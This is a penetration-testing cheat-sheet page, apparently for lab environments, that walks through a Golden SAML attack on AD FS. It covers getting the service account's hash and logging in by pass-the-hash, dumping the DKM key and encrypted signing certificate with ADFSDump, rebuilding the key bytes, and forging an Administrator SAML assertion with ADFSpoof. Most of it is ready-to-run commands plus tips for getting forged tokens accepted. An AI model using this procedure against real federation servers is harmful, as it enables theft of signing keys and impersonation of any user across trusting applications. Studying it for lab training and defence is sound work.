AD^:Active Directory

ADFSDump & ADFSpoof

Extract the AD FS EncryptedPFX and DKM key, validate relying-party settings, and generate a SAML token with the correct issuer, audience and claims.

advancedupdated 2026-10-11ADFSDump · ADFSpoof · evil-winrm

ADFSDump & ADFSpoof

Golden SAML: ADFS (Active Directory Federation Services) signs SAML assertions with a token-signing key stored, encrypted, in the ADFS config database. Possession of the signing key can allow forged assertions for applications that trust that issuer. Acceptance still depends on the relying party’s claims, audience, recipient, validity checks and access policy; a valid signature alone does not guarantee login or MFA bypass. You need code execution as the ADFS service account (frequently a gMSA like adfs_gmsa$).

0. Become the ADFS service account

# read the gMSA managed password (if you have rights), then PtH into it
netexec ldap dc01.domain.htb -u user -p pass --gmsa
netexec winrm dc01.domain.htb -u 'adfs_gmsa$' -H '<NThash>'
evil-winrm -i dc01.domain.htb -u 'adfs_gmsa$' -H '<NThash>'

See gMSA password extraction for the read step.

1. ADFSDump — pull the signing key + config

Run on the ADFS server, in a shell as the ADFS service account (it talks to the Windows Internal Database / config DB):

*Evil-WinRM* PS> upload ADFSDump.exe
*Evil-WinRM* PS> .\ADFSDump.exe

It prints three things you need:

  • DKM key from Active Directory: symmetric key material used to decrypt the signing-key container.
  • EncryptedPFX from the configuration database: encrypted certificate/private-key container.
  • Config values: issuer / identifier, relying-party identifiers, endpoints.

Copy those out of the session to your box.

2. Reassemble the key material locally

# the printed DKM key hex -> raw bytes
echo "8D-AC-A4-90-...-A1" | tr -d '-' | xxd -r -p | tee dkm_key.bin | xxd

# the base64 encrypted signing key -> binary
echo "AAAAAQAAAA...N/BEsNEUSTXxm" | base64 -d > encrypted_token_signing_key.bin

3. ADFSpoof — forge the SAML response

git clone https://github.com/mandiant/ADFSpoof && cd ADFSpoof
pip install -r requirements.txt

python ADFSpoof.py \
  -b encrypted_token_signing_key.bin dkm_key.bin \
  -s core.domain.htb \
  saml2 \
  --endpoint 'https://core.domain.htb:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid 'Administrator@domain.htb' \
  --rpidentifier 'https://core.domain.htb:8443' \
  --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@domain.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
ArgMeaning
-b PFX DKMencrypted PFX bytes first, DKM decryption-key bytes second
-s SERVERADFS server/service name (the issuer)
saml2module: emit a SAML 2.0 response (other modules include o365, dropbox and dump)
--endpointrelying-party ACS URL the assertion POSTs to
--nameid / --nameidformatthe user you’re impersonating
--rpidentifierrelying-party identifier (audience)
--assertionsextra claim XML (UPN / CommonName that the app keys off)

The output is a base64 SAML response — POST it to the relying party’s postResponse/ACS endpoint (Burp Repeater, or paste into the SAML form) to land an authenticated session as that user.

[!tip] Where the values come from ADFSDump prints the exact issuer, relying-party identifiers and endpoints — don’t invent them. Match -s, --endpoint, and --rpidentifier to what it reported, or the relying party rejects the audience/signature.

[!warning] Watch out

  • Clock & validity window — a forged assertion has NotBefore/NotOnOrAfter; a skewed attacker clock produces an already-expired token. Sync time.
  • Right key, right encoding — the signing key must be reassembled byte-exact (xxd -r -p for hex, base64 -d for base64). A single wrong byte = invalid signature = silent reject.
  • Cert rotation kills it — rotating the ADFS token-signing certificate invalidates the golden SAML; this is persistence with a shelf life.
  • .NET build — ADFSDump is a C# exe; compile from source or use a trusted release, and run it only on the ADFS host.

Check the account, application and result

On the AD FS host, identify the service account before attempting a connection:

Get-CimInstance Win32_Service -Filter "Name='adfssrv'" | Select-Object Name, StartName, State

Reading a gMSA password does not automatically grant that account WinRM logon rights. If remote logon is denied, establish the correct service context through an already available administrative session. Check the dump’s database connection options when the deployment uses SQL rather than WID.

Use an isolated Python environment for ADFSpoof. -b expects binary files, not printable base64/hex; the DKM key is not the RSA private key. Match the issuer and claim rules to the actual application, and keep the original session’s RelayState when the application requires it.

Success: the relying party creates a session for the intended test identity. Save the request/response and effective account, with the token and key material redacted. An HTTP 200 containing a SAML error is a failed login.

See Also

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.